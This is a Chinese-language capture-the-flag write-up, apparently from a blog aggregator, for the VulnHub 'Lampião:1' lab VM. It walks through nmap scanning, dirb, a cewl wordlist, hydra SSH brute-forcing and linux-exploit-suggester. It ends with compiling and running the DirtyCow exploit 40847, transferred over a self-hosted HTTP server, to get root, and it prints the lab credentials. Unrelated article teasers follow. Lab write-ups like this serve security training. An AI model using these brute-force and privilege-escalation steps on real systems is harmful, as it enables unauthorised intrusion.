当前位置: 首页 > news >正文

《VulnHub》Lampião:1


title: 《VulnHub》Lampião:1
date: 2024-03-28 21:37:49
updated: 2024-03-28 21:37:50
categories: WriteUp:Cyber-Range
excerpt: 关键技术:主机发现,端口扫描、服务探测、操作系统探测,对开放的端口探测漏洞,dirb 爆破网站目录,cewl 创建社工密码字典,hydra 破解 ssh 密钥,使用 sh 脚本检测 Linux 系统的安全缺陷,在目录下开启简单 http 服务,40847 DirtyCow 利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


VulnHub

  • 1:靶场信息
  • 2:打靶
    • 2.1:情报收集 & 威胁建模
    • 2.2:漏洞分析 & 渗透攻击
    • 2.3:后渗透
  • 3:总结
    • 3.1:命令 & 工具
      • 3.1.1:Nmap
      • 3.1.2:dirb
    • 3.2:关键技术


VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.10。

1:靶场信息

靶场地址:
https://www.vulnhub.com/entry/lampiao-1,249/

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

确定目标 IP 为 192.168.8.139。

进行端口扫描、服务探测、操作系统探测
nmap 192.168.8.139 -p- -sV -sC -O

在这里插入图片描述

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 15:23 HKT
Nmap scan report for 192.168.8.139
Host is up (0.00076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp   open  http?
1898/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
MAC Address: 00:0C:29:3E:06:9F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.24 seconds

对开放的端口探测漏洞
nmap 192.168.8.139 -p 22,80,1898 --script=vuln

在这里插入图片描述

根据之前得到的信息访问一下 80 端口。

在这里插入图片描述

查看源码也没有发现什么信息。那就访问一下 1898 端口。

在这里插入图片描述

发现一篇文章可以点击。

在这里插入图片描述

遍历一下网页节点,发现两个信息。

在这里插入图片描述

qrc.png 是一张二维码,扫描后没有有用的信息。

在这里插入图片描述

在这里插入图片描述

audio.m4a 是一段音频。

在这里插入图片描述

播放后可以听到以下信息:

user tiago

以下这个页面也是没有什么有效信息。

在这里插入图片描述

尝试爆破一下网页目录
dirb http://192.168.8.139:1898/

在这里插入图片描述

爆破多级目录
dirb http://192.168.8.139:1898/ -w

在这里插入图片描述

没有爆破出什么有用信息。倒是在 robots.txt 文件中发现一个 CHANGELOG.txt 文件

在这里插入图片描述

在这里可以看到 CMS 版本:Drupal 7.54, 2017-02-01

在这里插入图片描述

至此页面没啥可获取的信息了。发挥一下这个网站的余热,用它来生成一份社工性质的字典。

使用 cewl 通过爬虫获取关键信息创建一个密码字典
cewl http://192.168.8.139:1898/ -w cewl.txt

在这里插入图片描述

2.2:漏洞分析 & 渗透攻击

根据前面获取的 user tiago 信息,尝试爆破一下 ssh 密码。

hydra 爆破 ssh 密钥
hydra -l tiago -P cewl.txt 192.168.8.139 ssh

在这里插入图片描述

成功爆破出账号密码。

host: 192.168.8.139   login: tiago   password: Virgulino

使用刚刚获得的用户登录 ssh。

在这里插入图片描述

也可以使用 MSF 利用 Drupal 漏洞进行渗透攻击。这里不做记录。

2.3:后渗透

谷歌搜索一下 Linux 相关检测脚本,可以检测 Linux 上的安全缺陷。关键字:linux exploit suggest

在这里插入图片描述

https://github.com/The-Z-Labs/linux-exploit-suggester

可以用推荐的命令快速下载:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

在这里插入图片描述

在这里插入图片描述

在相应目录下开启一个简单的 http 服务,便于目标机器下载相应利用代码。
python3 -m http.server 8088

在这里插入图片描述

目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/les.sh

在这里插入图片描述

赋权并运行,检测目标机器上的安全缺陷。

在这里插入图片描述

安全缺陷枚举信息如下(只列出一部分):

tiago@lampiao:/tmp$ chmod +x les.sh 
tiago@lampiao:/tmp$ ./les.sh Available information:Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OSSearching among:81 kernel space exploits
49 user space exploitsPossible Exploits:[+] [CVE-2016-5195] dirtycowDetails: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]Download URL: https://www.exploit-db.com/download/40611Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2016-5195] dirtycow 2Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsExposure: highly probableTags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}Download URL: https://www.exploit-db.com/download/40839ext-url: https://www.exploit-db.com/download/40847Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh[+] [CVE-2021-3156] sudo Baron Samedit 2Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: probableTags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/Exposure: less probableTags: ubuntu=(22.04){kernel:5.15.0-27-generic}Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.cComments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2022-2586] nft_object UAFDetails: https://www.openwall.com/lists/oss-security/2022/08/29/5Exposure: less probableTags: ubuntu=(20.04){kernel:5.12.13}Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)[+] [CVE-2021-3156] sudo Baron SameditDetails: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txtExposure: less probableTags: mint=19,ubuntu=18|20, debian=10Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main[+] [CVE-2016-0728] keyringDetails: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/Exposure: less probableDownload URL: https://www.exploit-db.com/download/40003Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-workingtiago@lampiao:/tmp$ 

同时查看一下目标系统 sudo 命令版本信息
sudo --version

在这里插入图片描述

注意到目标系统存在 “ 脏牛 ” 漏洞。查找一下可用 exp。
searchsploit 40847

在这里插入图片描述

查找一下相关的信息。

在这里插入图片描述

可以看到利用信息。

https://www.exploit-db.com/exploits/40847

在这里插入图片描述

将 kali 上的 exp 拷贝到某个目录,并开启 http 服务,将 exp 上传至目标。

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/Desktop/lampiao/
python3 -m http.server 8088

wget http://192.168.8.15:8088/40847.cpp

在这里插入图片描述

编译为可执行文件并运行

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil
./myexp

在这里插入图片描述

利用成功,使用以上密码(dirtyCowFun)即可登录 root。

ssh root@192.168.8.139

在这里插入图片描述

在这里插入图片描述

完结。

3:总结

3.1:命令 & 工具

  • nmap
  • dirb
  • cewl
  • hydra
  • linux-exploit-suggester
    https://github.com/The-Z-Labs/linux-exploit-suggester
  • wget
  • python
  • searchsploit
  • g++
  • ssh

3.1.1:Nmap

部分选项

参数介绍
-snPing Scan - disable port scan
-sVProbe open ports to determine service/version info
-sCequivalent to --script=default
-OEnable OS detection
--script=<Lua scripts><Lua scripts> is a comma separated list of directories, script-files or script-categories

nmap 脚本

  • --script=default:默认的脚本,提供一些基本的漏洞探测和信息收集。
  • --script=vuln:用于检测目标系统上的漏洞。

3.1.2:dirb

dirb,kali linux 下的一个 web 网站目录爆破工具。

部分选项

参数介绍
-wDon't Stop on WARNING messages.

《Dirb工具web网站目录爆破指南》:
https://zhuanlan.zhihu.com/p/267973016

3.2:关键技术

  • 主机发现
    nmap -sn <ip cidr>

  • 端口扫描、服务探测、操作系统探测
    nmap <target> -p- -sV -sC -O

  • 对开放的端口探测漏洞
    nmap <target> -p <port> --script=vuln

  • 爆破网站目录
    dirb <url> [-w]

  • 爬取网页,创建社工密码字典
    cewl <url> -w <txt file>

  • hydra 破解 ssh 密钥
    hydra -l <user> -P <password file> <target> ssh

  • 使用 sh 脚本检测 Linux 系统的安全缺陷。项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester

  • 在目录下开启简单 http 服务
    python3 -m http.server 8088

  • 查找 kali 自带的 exp
    searchsploit <id>

  • 40847 DirtyCow 利用
    https://www.exploit-db.com/exploits/40847
    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o myexp 40847.cpp -lutil


贫贱非辱,贫贱而谄求于人者为辱。

——《围炉夜话》(清)王永彬

相关文章:

《VulnHub》Lampião:1

title: 《VulnHub》Lampio&#xff1a;1 date: 2024-03-28 21:37:49 updated: 2024-03-28 21:37:50 categories: WriteUp&#xff1a;Cyber-Range excerpt: 关键技术&#xff1a;主机发现&#xff0c;端口扫描、服务探测、操作系统探测&#xff0c;对开放的端口探测漏洞&#x…...

RabbitMq高可用

消息队列高级 服务异步通信-高级篇1.消息可靠性1.1.生产者消息确认1.2.消息持久化1.3.消费者消息确认1.4.消费失败重试机制1.5.总结 2.死信交换机2.1.初识死信交换机2.2.TTL2.3.延迟队列 3.惰性队列3.1.消息堆积问题3.2.惰性队列 4.MQ集群4.1.集群分类4.2.普通集群4.3.镜像集群…...

降本增效的车间管理大屏,车间主任看了拍手称快,速来领取。

我们老板觉得车间生产效率太低了&#xff0c;还想让我整一套车间管理的&#xff01; 制造业管理的核心在于降本增效&#xff0c;车间管理可以通过【大数据可视化】来提高管理效率&#xff0c;大屏就可以做到生产管理一「屏」了然&#xff0c;这是【车间管理大屏方案】。 一、…...

Open AI要给GPT应用开发者“发钱” 黄金的宏观关系被打破了吗?

内容摘要 为避免GPTs彻底凉凉&#xff0c;Open AI紧急启动了一项“货币化”计划&#xff0c;直接给那些在GPT Store上的应用开发人员发钱。 正文部分 当地时间周四凌晨&#xff0c;OpenAI在社交媒体上发帖称&#xff0c;正在与小部分美国开发者合作&#xff0c;基于用户使用…...

【Docker】Docker安全与最佳实践:保护你的容器化应用程序

欢迎来到英杰社区&#xff1a; https://bbs.csdn.net/topics/617804998 欢迎来到阿Q社区&#xff1a; https://bbs.csdn.net/topics/617897397 &#x1f4d5;作者简介&#xff1a;热爱跑步的恒川&#xff0c;致力于C/C、Java、Python等多编程语言&#xff0c;热爱跑步&#xff…...

QT 信号(Signal)与槽(Slot)机制

上学后,人们问我长大了要做什么,我写下“快乐”。他们告诉我,我理解错了题目,我告诉他们,他们理解错了人生。 ——约翰列侬 一、信号(signal)与槽(slot) 在QT中,信号(signal)与槽(slot)机制是一种用于对象间通信的重要机制。它允许一个对象发出信号,而其他对象…...

音频干扰检测(频域方法)

测试音响系统的通路上是否有外部干扰时&#xff0c;可以通过播放1000赫兹的正弦波信号&#xff0c;在输出端采集数字信号&#xff08;I2S&#xff0c;TDD&#xff0c;A2B&#xff09;并保存为.wav文件。 然后通过以下Python代码检测。 import numpy as np import librosa im…...

Rust引用借用 vs 原始指针

let v: i32 10; let v1 &v; let a: *const i32 &v; println!("a{:p}", a); let b a as *mut i32; //无法从&v直接转换成*mut i32&#xff0c;需要从*const i32过度 println!("b{:p}", b); unsafe {*b1; } println!("v{} v1{}"…...

抖音视频关键词无水印下载软件|手机网页视频批量提取工具

全新视频关键词无水印下载软件&#xff0c;助您快速获取所需视频&#xff01; 随着时代的发展&#xff0c;视频内容已成为人们获取信息和娱乐的重要途径。为了方便用户获取所需视频&#xff0c;推出了一款功能强大的视频关键词无水印下载软件。该软件主要功能包括关键词批量提取…...

关于Devc++调试的问题以及解决STL变量无法查看

目前Devc的调试主要有以下几点&#xff1a; 1.调试不能直接查看stl变量&#xff0c;会卡死不动 2.目前单步进入只能用鼠标键按 3.若想按下一步进入函数体内&#xff0c;要在函数体内打上断点才行 4.调试到return 0 ;上一句就停了&#xff0c;不会结束程序 5.目前F2跳至断点…...

MATLAB:优化与规划问题

一、线性规划 % 线性规划&#xff08;Linear programming, 简称LP&#xff09; fcoff -[75 120 90 105]; % 目标函数系数向量 A [9 4 7 54 5 6 105 10 8 53 8 9 77 6 4 8]; % 约束不等式系数矩阵 b [3600 2900 3000 2800 2200]; % 约束不等式右端向量 Aeq []; % 约束等式系…...

Oracal执行计划解析

概述 | Id | Operation | Name | Rows | Bytes | TempSpc | Cost (%CPU) | Time | ----------------------------------------------------------------------------------- | 0 | SELECT STATEMENT | | 1…...

对form表单对象中数组中的字段进行校验的方法

当对form表单中&#xff0c;数组readings中的字段进行校验时&#xff0c;prop和rules绑定要写成动态的&#xff0c;如下代码 <div v-for"(item,index) in form.readings"><el-form-item label"上次读数" > <!--prop"scds"-->…...

一、JAVA集成海康SDK

JAVA集成海康SDK 文章目录 JAVA集成海康SDK前言一、项目依赖 jar1. examples.jar2. 项目依赖 jna.jar,可以通过 maven依赖到。二、集成SDK1.HcNetSdkUtil 海康 SDK封装类2.HCNetSDK3.Linux系统集成SDK三、总结前言 提示:首先去海康官网下载 https://open.hikvision.com/dow…...

PAT 乙级 1031 查验身份证 c语言实现

一个合法的身份证号码由17位地区、日期编号和顺序编号加1位校验码组成。校验码的计算规则如下&#xff1a; 首先对前17位数字加权求和&#xff0c;权重分配为&#xff1a;{7&#xff0c;9&#xff0c;10&#xff0c;5&#xff0c;8&#xff0c;4&#xff0c;2&#xff0c;1&am…...

LeetCode 345. 反转字符串中的元音字母

给你一个字符串 s &#xff0c;仅反转字符串中的所有元音字母&#xff0c;并返回结果字符串。 元音字母包括 ‘a’、‘e’、‘i’、‘o’、‘u’&#xff0c;且可能以大小写两种形式出现不止一次。 示例 1&#xff1a; 输入&#xff1a;s “hello” 输出&#xff1a;“holl…...

go中函数与方法的区别与go中关于面向对象理解

声明方法的区别 函数是一段可以独立调用的代码块&#xff0c;它可以有参数和返回值。函数的声明不依赖于任何类型&#xff0c;可以直接通过函数名进行调用。 函数的声明格式如下&#xff1a; func functionName(parameters) returnType {// 函数体 }示例&#xff1a; func A…...

SQL Server 实验二:数据库视图的创建和使用

目录 第一关 相关知识 什么是表 操作数据表 创建数据表 插入数据 修改表结构 删除数据表 编程要求 第一关实验代码&#xff1a; 第二关 相关知识 视图是什么 视图的优缺点 视图的优点 视图的缺点 操作视图 创建视图 通过视图向基本表中插入数据 通过视图修改基本表的…...

树结构导入

Testpublic void testExcel1() {// 写法1&#xff1a;JDK8 ,不用额外写一个DemoDataListener// since: 3.0.0-beta1EasyExcelFactory.read(new File("C:\\Users\\Admin\\Desktop\\树导入.xlsx"), null, new ReadListener<Map>() {public static final int BATC…...

Promise封装ajax

Promise封装原生ajax 1.node的内置模块url, http 2.Promise封装原生ajax 01-node的内置模块 # url: 操作网址 let url require(url) url.parse(网址, [布尔值: 决定是否将查询字符串转换为对象格式])&#xff1a; 将网址解析成对象# http: 创建本地服务器 let http requi…...

Vim 调用外部命令学习笔记

Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

Leetcode 3576. Transform Array to All Equal Elements

Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接&#xff1a;3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到&#xf…...

C++:std::is_convertible

C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件

今天呢&#xff0c;博主的学习进度也是步入了Java Mybatis 框架&#xff0c;目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学&#xff0c;希望能对大家有所帮助&#xff0c;也特别欢迎大家指点不足之处&#xff0c;小生很乐意接受正确的建议&…...

1688商品列表API与其他数据源的对接思路

将1688商品列表API与其他数据源对接时&#xff0c;需结合业务场景设计数据流转链路&#xff0c;重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点&#xff1a; 一、核心对接场景与目标 商品数据同步 场景&#xff1a;将1688商品信息…...

全球首个30米分辨率湿地数据集(2000—2022)

数据简介 今天我们分享的数据是全球30米分辨率湿地数据集&#xff0c;包含8种湿地亚类&#xff0c;该数据以0.5X0.5的瓦片存储&#xff0c;我们整理了所有属于中国的瓦片名称与其对应省份&#xff0c;方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业

6月9日&#xff0c;国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解&#xff0c;“超级…...

[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现&#xff08;两者等价&#xff09;&#xff0c;用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例&#xff1a; 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

【笔记】WSL 中 Rust 安装与测试完整记录

#工作记录 WSL 中 Rust 安装与测试完整记录 1. 运行环境 系统&#xff1a;Ubuntu 24.04 LTS (WSL2)架构&#xff1a;x86_64 (GNU/Linux)Rust 版本&#xff1a;rustc 1.87.0 (2025-05-09)Cargo 版本&#xff1a;cargo 1.87.0 (2025-05-06) 2. 安装 Rust 2.1 使用 Rust 官方安…...